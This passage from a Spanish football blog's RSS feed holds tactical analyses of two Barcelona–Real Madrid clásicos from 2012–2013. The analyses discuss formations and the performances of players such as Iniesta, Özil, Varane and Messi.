¿Bastan Ozil e Iniesta para definir a cada equipo con el balón en los pies? Yo creo que sí. A su lado el resto de jugadores, incluyendo a Messi y a Cristiano Ronaldo, han dado la impresión de ser comparsas. La primera parte termina, quizás, con una ligera sensación de ventaja madridista, pero el Barça se fue al descanso con un diagnóstico conocido: sus jugadores son demasiado buenos para impedirles fases de dominio prolongadas, y creo que nadie dudaba de lo que iba a pasar en la segunda parte.
3. El Barça ahoga pero no aprieta.
                         “Pueden masticarte, pero tendrán que escupirte” (Jimmy McNulty)

Si el Barça sabe que tras los primeros diez minutos de salida vertiginosa llegará un oasis de paz, el Madrid ha aprendido que si aprieta los dientes y junta líneas podrá superar el vendaval de la segunda parte. Y así ha sido, en ambos casos. Iniesta había conseguido instalar al Barça en campo rival, y desde el minuto 45 el choque se inclina progresivamente hacia la portería de Diego López. Hay varias claves que permiten explicar los primeros veinticinco minutos de dominio indiscutido del Barça en la segunda parte, pero también otras tantas que justifican que el Madrid se haya agarrado al partido. Intentaré comentar alguna de ellas.
La primera es Carvalho. Estuve tentado de incluirle como debilidad, pero el portugués no me recuerda a una vía de agua, sino más bien a uno de los viejos y cansados soldados de los Tercios que tanto se place en retratar Pérez-Reverte. Carvalho, pica en ristre y cerrando filas, sufre cada instante del encuentro pero nunca hinca la rodilla. Es obvio que mantenerle en el equipo cuesta goles, indiscutible. Y el inmenso Varane le ha sacado las castañas del fuego. Pero diría que Carvalho es una concesión forzosa, nunca una debilidad manifiesta. Y la prueba es que el Barça no ha podido explotarla con la crueldad que la lentitud del otrora imperial portugués parece exigir. Sin embargo, no se puede decir de otra manera: Carvalho ha sido un problema para Varane.
Lo que ocurre es que Pedro no ha sabido, o no ha podido, leer esta situación. Mérito de Arbeloa, qué duda cabe, otro de los jugadores que siempre se eleva por encima del sambenito que alguien le ha enjaretado. La titularidad de Pedro es innegociable, pero creo que hoy era el partido de Alexis. Quizá me muera como único defensor del Alexis blaugrana, y eso admitiendo que es el fofito del área, que sus fallos son  impropios y que, en fin, definiendo es un chiste con patas. Pero hay algo de grandeza en su empeño indesmayable que no tiene nada que ver con el romanticismo. NADIE, y lo pongo en mayúsculas porque no debería pasar desapercibido, NADIE ha conseguido impedir que Alexis haga lo que sus entrenadores le piden, lo que el Barça necesita. Hoy Alexis habría sido la pesadilla que Carvalho parecía pedir a gritos. De hecho, durante el poco tiempo que estuvo en el campo insinuó la verticalidad y el ataque a los centrales que Pedro no ha podido proporcionar. Flojo el partido del canario, importante como siempre, pero lejos de su mejor versión.

Otro factor de supervivencia del Madrid ha sido el naufragio de Cesc Fábregas. Pero me sigo resistiendo a hablar de ello inmediato. Dejadme comentarlo más tarde.
Y por supuesto, ya iba siendo hora de hablar de Varane. ¡Qué partido! ¡Qué superioridad! Su actuación ha saltado a la vista, gol incluido, y se resume en tres pinceladas visuales. Le ha ganado una carrera a Messi, es un gigantón que se mueve en espacios cortos con la velocidad de Sabas –menudo referente, ¿eh? ^^- y le ha rebañado un balón de gol a Cesc de los que suele cortar Puyol. 19 años y consagrarse en un clásico trepidante parecen credenciales como para que Mourinho se plantee algunas cosas.

El Barça, sin embargo, ha generado un caudal ofensivo suficiente como para situar el 0-2. Jordi Alba ha pesado mucho en el ataque en la segunda parte –mostrando que el alto rendimiento de Essien ha sido coyuntural- y Xavi ha encontrado, por fin, su posición durante un cuarto de hora al menos. Xavi ha jugado más adelantado que nunca. Creo que por primera vez le he visto liderar la presión sobre la salida del Madrid, y ha conseguido hacer el trabajo de Cesc Fábregas, esto es, dominar la horizontal para crear la vertical. Se ha asociado a Messi e Iniesta, y ha conseguido filtrar varios pases que deberían haber finiquitado el partido.
Diego López y Varane han sostenido al Madrid y el Barça, a pesar de haber merecido un par de goles más, echó de menos un delantero que atacase la zona central. El Madrid ha podido regalar el centro de la defensa y las dos bandas. Demasiado espacio sin amenaza. Villa, con la liberación mental que tiene ahora, habría sido un balón en las redes. El Barça perdona y Modric, que había entrado por Callejón, es el compañero que Ozil necesitaba, perdido Benzema para la causa. La insólita capacidad de Modric para no perder jamás el balón consigue atraer rivales que intentan detenerle en vano y el Madrid establece ataques posicionales de mucha calidad. Cristiano Ronaldo se cambia de banda para terminar de castigar a Jordi Alba y le consigue superar en un par de carreras, pero no ha sido el día del portugués. Hoy ha sido el clásico de los jugadores más dotados técnicamente.
En esa capacidad técnica hay que incluir a Puyol y a Piqué porque el talento defensivo también computa en términos de calidad. El partido ha sido tremendamente exigente y el Barça ha recuperado aquella pareja que salvaba goles. Han conseguido detener varios ataques en los que el Madrid transitaba en un cuatro contra tres, totalmente desarbolado Sergio Busquets –su partido más intrascendente de los últimos años- gracias a su capacidad de medir el momento preciso para ir al suelo. Alguno de los problemas que están pasando en la defensa del Barça no las puede solucionar Mascherano, y es injusto que se le exija. Las tienen que solucionar los verdaderos centrales. Y hoy Piqué y Puyol sí que han llegado a donde el colectivo no puede – o no quiere, cuidado- llegar.
En definitiva, los defensas le han ganado la partida a los delanteros, pero han vivido todo el tiempo apretando el filo de la navaja hasta que el acero tocaba hueso. Piqué con amarilla frente a Cristiano; Varane, lastrado por Carvalho, intentando medir los últimos metros culés. Y este partido de ida y vuelta, en el que quizá el Barça haya tenido una ligera ventaja, ha sido el que han decidido imponer Iniesta y Ozil. Nadie les ha sabido interpretar y nadie les ha podido defender, pero Iniesta es más que Ozil, y por eso el Barça siente que ha dejado escapar vivo al Madrid: una ficción que no responde a la realidad, pero que la justifica el jugador más determinante de lo que va de año.
Apéndice. Cuestiones de grandeza
                                  “No existe gran talento sin gran voluntad” (Balzac)

Hoy han naufragado varios jugadores. Callejón ha quedado retratado, pero nadie le puede pedir más de lo que hace; a Benzema sí que se le podría pedir, y yo no apostaría ni un euro contra la titularidad de Higuaín en el partido de vuelta. Carvalho y Xavi se agarran a grandezas pretéritas con encomiable insistencia, aunque Xavi emerge de la tormenta reconvertido en mediapunta y el portugués sobrevive boqueando salitre. Sin embargo, son los casos de Cesc y de Messi lo que más me han sorprendido, porque a diferencia de los jugadores anteriores, el partido estaba para estos dos.
Cesc Fábregas ha sido un jugador perdido, ignorado por el equipo en la creación, que ha retrocedido  varias fases de su adaptación al Barça. En la ruptura ha estado espléndido. ¡Cómo no! Tener a Cesc implica encontrar ocasiones de gol donde otros solo podrían hallar atascos, pero hoy era el día del puñetazo en la mesa, el día de agarrar el partido por las pelotas, acercarse a Iniesta y dominar desde la vertical. A última hora Xavi ha tenido que ejercer las veces de enganche, mientras que Busquets intentaba estorbar a Ozil en la transición defensiva. Cesc desapareció en combate. En el cuarto de hora que ha jugado Thiago le hemos visto ocupar la base de la jugada, arrastrar marcas en conducción y encontrar líneas de pase que antes parecían no existir. Mal Cesc, muy preocupante. Confiemos en que su moral, siempre tan voluble, no retroceda, ahora que estaba siendo tan importante para el equipo.
Y Leo Messi… no seré yo quien se atreva a decir que Messi ha jugado mal, pero creo que ni mucho menos ha estado a la altura del contexto tan favorable que se le ha presentado. Desde 2011 soñábamos con un partido así para que Messi rajase toda la defensa del Madrid y el argentino apenas ha sabido explotar los huecos que le han dejado a espaldas de Khedira y Modric. Sus conducciones sí que han sido demoledoras, qué duda cabe, y en un mal partido Messi consigue cinco jugadas que aterran a todos los defensores, pero me quedo con la sensación de que quizá nunca vuelva a encontrarse con semejantes facilidades en un partido contra Mourinho.
P.D. Hablando de grandeza… ¿sería muy osado destacar que Pinto no ha fallado un solo balón, ni con los pies ni con las manos? Ha hecho bien lo fácil, lo normal y lo difícil. Quien quiera sacar las inferencias pertinentes, que lo haga. A mí se me ha hecho tarde.

]]> https://www.rondoblaugrana.net/2013/01/el-futbol-es-de-los-jugadores.html/feed 37 MESSI COMO KIT DE SUPERVIVENCIA https://www.rondoblaugrana.net/2012/10/messi-como-kit-de-supervivencia.html?utm_source=rss&utm_medium=rss&utm_campaign=messi-como-kit-de-supervivencia https://www.rondoblaugrana.net/2012/10/messi-como-kit-de-supervivencia.html#comments Sun, 07 Oct 2012 22:59:00 +0000 https://www.rondoblaugrana.net/2012/10/messi-como-kit-de-supervivencia.html Por Jacobo Prado, Cerdido 


El primer clásico liguero no apareció en el momento idóneo para el Fútbol Club Barcelona a pesar de lo que marca la tabla de clasificación.

El Real Madrid llegó al Camp Nou en vuelo, encadenando goleadas y buen juego, mientras que al Barça el partido le llegó con dos bajas fundamentales en su defensa: los centrales Piqué y Puyol al que incluso se debería sumar la de Abidal. El asunto, que nunca es menor contra ningún rival, hoy alcanzaba tintes dramáticos, no obstante enfrente estaba la que es posiblemente la mejor transición ofensiva de la historia.
Para poder arreglar esto, Tito Vilanova sorprendió con una alineación impensable horas antes. La principal variante en el once fue la inclusión de Adriano, lo que hacía prever que se apostaría por defensa de 3. Nada más lejos de la realidad, ya que el Barça apostó por una línea de 4 donde el brasileño jugó de central zurdo para añadir una nueva posición a su abanico. El objetivo era claro: buscar velocidad para rectificar y así poder vivir lo más lejos posible de Valdés.
La otra variante estuvo en la faceta ofensiva: el entrenador blaugrana por fin rompió sus dos extremos fijos para dar entrada en el mismo once a Cesc, Iniesta y Xavi. De hecho, esto no debe sorprendernos, ya decíamos horas antes que el Barça para sobrevivir al Real Madrid tendría que probar variantes nuevas. Sin embargo, en honor a la verdad, no fue la decisión mas brillante de Tito, aunque en su defensa hay que decir que fue el movimiento más lógico. Así el Barça se plantó con un 4-3-3 con Adriano de central, Cesc de interior zurdo muy adelantado en asociación con Messi e Iniesta de “extremo zurdo” para intentar ganar el partido que casi sentenciaría la Liga. O sea, en la práctica el conocido 4-2-2-2 Vilanoviano con los matices propios de que el de Fuentealbilla el que ocupase la banda.
La idea por lo tanto estaba clara: no se podía dejar espacio a Alonso ni aire al Real Madrid. De esta forma el equipo se colocó muy arriba, con una línea defensiva muy adelantada, situándose en el centro del campo o más allá incluso si podía, con una presión fuerte en primera línea y una siguiente línea de 4 para actuar sobre los receptores. O sea, en fase defensiva un 4-4-2 con Messi y Cesc como hombres más adelantados. ¿Por qué Cesc y Messi y no Iniesta o Pedro? Porque tener a Messi tan arriba significaba intimidar al Real Madrid, que dudase en un primer pase raseado hacia el centro del campo ya que un mal pase o mal control significaba un peligro mortal con el argentino ahí. Por su parte, Cesc es mucho más agresivo en la presión que Iniesta, pero presenta menos repliegue que Pedro, que debería controlar a Marcelo en sus subidas.
Por su parte el conjunto blanco no sorprendió. Mourinho llegó al Camp Nou con su 4-2-3-1 habitual, el que acostumbra poner siempre en el coliseo blaugrana, olvidándose de su triángulo de presión alta. Además mantuvo la carta ganadora para estos partidos en este recinto: Özil y su versatilidad. Veamos. El Real Madrid en fase defensiva cambia su dibujo mutándolo a un 4-5-1 que hoy fue casi siempre un 4-1-4-1 con Alonso como vértice defensivo. En este movimiento es clave el alemán que se incrusta en la línea de mediapuntas para defender. Es un movimiento interesante porque es una garantía defensiva, ya que Mesut en el Camp Nou suele hacer bastante daño con sus robos sobre todo incidiendo sobre Iniesta y/o Xavi, pero sobre todo, porque le permite tener mucho contacto con la pelota, durante mucho tiempo, desde muy atrás, lo que espacia mucho las posesiones del Barça, aumenta las del Real Madrid y le ayuda al conjunto blanco a establecerse en campo contrario. Además, como el conjunto culé sufre defendiendo en su propio campo, y más hoy, el movimiento aún se volvía más dramático. Así, Özil fue el amo del partido desde el contexto estructural, castigando al Barça en posiciones centrales interiores y laterales ofensivas. En este trabajo además contó con la ayuda de Karim, el otro jugador blanco dotado y preparado para aguantar la posesión, aunque su fútbol no llegó a la altura del 10 de la selección alemana.


El otro aspecto a destacar del Real Madrid es que no pudo establecer su famoso 3-3-1-3 en dominio posicional. Esto no es sorprendente, de hecho contra el Barça no puede hacerlo por el simple hecho de que está Messi enfrente y eso implica que el conjunto blanco se tenga que proteger en demasía. Para que nos hagamos una idea, lo comentado antes de que el Real Madrid no arriesga en el primer pase por tener enfrente a la pulga, es aplicado pero mas a lo bestia en esta distribución posicional.

Así, el Real Madrid salió al Camp Nou con un repliegue medio, olvidándose de la presión agresiva que suelen hacer los blancos contra los blaugrana en los instantes iniciales de los partidos. El objetivo era situarse cómodamente en su campo, quitando espacios al rival, sin exponerse para a partir de ahí castigar a la maltrecha línea defensiva blaugrana.
El partido se inició de este modo, de la forma descrita. El Barça teniendo el balón en posesiones y posiciones lejanas de Casillas y el Real Madrid aguantando en su repliegue flotante buscando tapar mas espacios que hombres y salir a la contra con velocidad. Y en honor a la verdad, fue el conjunto blanco superior, ejecutó mejor su plan. Los culés se encontraban con que llegaban a la medular sin apenas esfuerzo, ya que hasta que llegasen ahí el Real Madrid no veía necesario presionar. Sin embargo ahí si empezaba la batalla. El actual campeón de Liga obstaculizaba al centro del campo blaugrana con esa primera línea de 4 a lo que el Barça respondía con la fórmula que ha presentado todo este año: Xavi como iniciador para garantizar un inicio de la jugada limpio. El de Terrassa estaba en todas partes en un primer nivel de salida, volcando su posición hacia algún costado si era necesario, aunque preferiblemente buscaba estar centrado. Por su parte Busquets leía los movimientos de Xavi ocupando el hueco que él dejase libre para protegerse en transición defensiva, sin embargo, como Xavi iniciaba muchas veces en conducción, o como digo, en posiciones laterales, el de Badía muchas veces podía centrar la posición, algo que le benefició bastante.

Llegados a este punto es justo decir que la posesión llevada a cabo por el hoy capitán blaugrana fue mas efectista que efectiva. En ningún momento creó superioridades, ni consiguió establecer a su equipo en campo contrario o encontrar una fisura en su rival. Sin embargo Xavi se gusta con el balón y el Camp Nou se siente seguro cuando el mito viviente la conduce, por lo que la sensación de estar controlando mas que estar siendo controlado se sentía. Sin embargo, esto no era así. El Real Madrid tenía el control total de la situación sin sufrir en ningún momento y sin ser exigido, mientras que sus contras y posesiones con balón si eran peligrosas.

Busquets si fue mas efectivo, consciente de que delante de él había un abismo y detrás de él un drama. Cada posesión del de Badía era larga, masticada, apoyado en su riqueza técnica y elegancia, lo que permitía al Barça tener posesiones tranquilas, sin riesgo, de segundos. Además, este tiempo permitía a Xavi descolgarse y juntarse con Messi y Cesc en la frontal, como se preveía. Sin embargo Pepe y Ramos por detrás y Alonso mas la línea de 4 por delante controlaron la situación. El Barça estaba atascado y todos los ataques se dirigían hacia la derecha donde estaba Pedro, ya que este era la única referencia fija en ataque y además estaba haciendo bastante daño a Marcelo. Esta era la única buena noticia y la única pequeña grieta que mostraba el Real Madrid.
El Barça por dentro seguía sin encontrar la fluidez. Messi de referencia solo podía recepcionar de espaldas, o bajar hasta el centro del campo a iniciar, lo que aún favorecía más la presión defensiva del conjunto blanco y que disminuyesen su distancia entre líneas. Iniesta en la izquierda se encontraba sin espacio para poder dominar, y Cesc… jugó muy bien los primeros 5 minutos para luego desaparecer diluído por su francamente pésimo partido en lo técnico. Es importante señalarlo porque el jugador restó individualmente por esto pero también estructuralmente al restar espacio a Iniesta.
Con esta situación el Real Madrid reflejó en el marcador la superioridad mostrada en el campo en una jugada paradigmática de los conocidos males del Barça. Por un lado con un ataque zonal que mostró a todas las luces las carencias del conjunto catalán en fase defensiva, y por otro lado con un error relativo de Valdés, que volvió a demostrar que el portero no está desde hace un año. Además, tras este gol el FCB quedó aturdido y pudo llegar la derrota ya que todo lo anterior aún se magnificó mas, pero en un golpe de suerte, en una jugada que se adentró en el área por la derecha (solo podía ser ahí) el Barça volvió a entrar en el partido y a tener cierta superioridad.
Volvió a ser una superioridad efectista ya que en ningún momento hubo la sensación real de volver a marcar el 2º, pero al menos hubo más fluidez y ánimo. El Real Madrid lo detectó y replegó mas intensivamente, casi olvidándose de la transición ofensiva y así las opciones de que se moviera el marcador para alguno de los dos dejaron de ser reales hasta que se iniciase el 2º tiempo.
Los 45’ restantes ya no empezaron como acabaron los anteriores: los dos equipos salieron buscando al contrario de nuevo, volviendo a ocupar todos los metros del Camp Nou. Por lo tanto, el Real Madrid volvía a ser y sentir que era superior. Sin embargo dos hechos cambiaron el devenir del partido. Por un lado el gol de Messi y por otro lado la entrada de Alexis por Cesc siendo los dos hechos tan importantes que merecen mención por separado.
El gol de Messi fue fundamental más allá de lo mundano del marcador. Si el primer gol presentó la obviedad de que solo podía venir por la derecha, el decaimiento moral del Real Madrid solo podía llegar por un gol del argentino. Una vez más había minimizado al coloso blanco hasta igualarlo por encima de lo real con el equipo blaugrana. Además el gol fue de falta, en uno de los estigmas que está sangrando al Real Madrid: Casillas. De hecho es tan estigmatizador que aunque Iker no tiene culpa en el gol, no puede evitar quedar señalado y debilitar a su propio equipo.
Por otro lado está la entrada del chileno por Cesc, lo que trajo otro movimiento asociado: Iniesta al interior zurdo, a jugar por dentro. Se colocaba así la mejor banda zurda posible para el Barça con un Alba que jugó un buen partido, Iniesta mas centrado, y un extremo abierto que le de espacio y le libre de la lucha contra el lateral.
Empezaron ahí los mejores minutos para el Barça, que ya no acabarían hasta el final del partido. Con este movimiento en el sistema y con el Real Madrid aturdido el conjunto catalán por fin se situó y vivió en campo contrario, y esto trae añadidas otras ventajas que recordaron al Barça que todos conocemos. Por un lado Messi no tiene que bajar tanto a por el balón porque le llega a él, perfecto en vuelo y con varias líneas de pase. Por otro lado Busquets puede situarse mas centrado y acompañando a la posesión lo que le permite anticiparse y cortar mas, como a él le gusta y lo que le llevó a jugar una gran segunda parte. Por todo esto se puede asegurar que Iniesta le dio el partido al Barça, haciendo mucho daño por dentro, juntando rivales y soltándola, alargando posesiones, llevando el balón a la frontal, siendo indefendible. Tanto que por eso entró Essien, aunque era demasiado tarde.
Entre medias llegó el gol del Real Madrid que dejó una vez más al descubierto las carencias de Mascherano como central ya que se equivoca al salir tanto de su posición dejando un hueco demasiado grande a su espalda. Pero antes de eso el Barça tuvo el 3-1 y después de eso tuvo el 3-2. E incluso más allá del resultado aparecieron las buenas noticias de volver a ver al mejor Busquets, al mejor Iniesta, a un gran Alexis que jugó muy bien, a un Pedro nuevamente incisivo y con instinto y a un Messi dominante. No nos olvidamos de Xavi interesadamente sino que el capitán en esta última media hora estuvo ya sin peso lo que nos deja una pregunta que habrá que ver si se responde con el tiempo: ¿con el Barça en vuelo y establecido en la frontal contraria tiene Xavi como iniciador de la posesión sentido? Ya lo veremos.
El 2-2 fue el resultado final, lo que deja a los dos equipos contentos ya que vieron que pudieron ganar y además se libraron de la derrota. En el caso del Barça el resultado es especialmente bueno por conseguir mantener la sustancial ventaja en la tabla y por haber sobrevivido sin sus dos defensas centrales titulares, Abidal y sin Alves 70’. Ahora Tito tiene todo el tiempo del mundo para seguir evolucionando y mejorando cosas. Ya sabe(mos) que sus dos extremos manchándose las botas de cal no son requisito sine qua non y que Iniesta, Alexis y Pedro cada uno por sus motivos deben ser indiscutibles si están al 100%. Otras interrogantes como Xavi, Cesc, Alves o el sistema deberán ser respondidos con el tiempo. Que Vilanova pueda llegar a esa respuesta sin apuros se lo debe a Messi.
]]> https://www.rondoblaugrana.net/2012/10/messi-como-kit-de-supervivencia.html/feed 76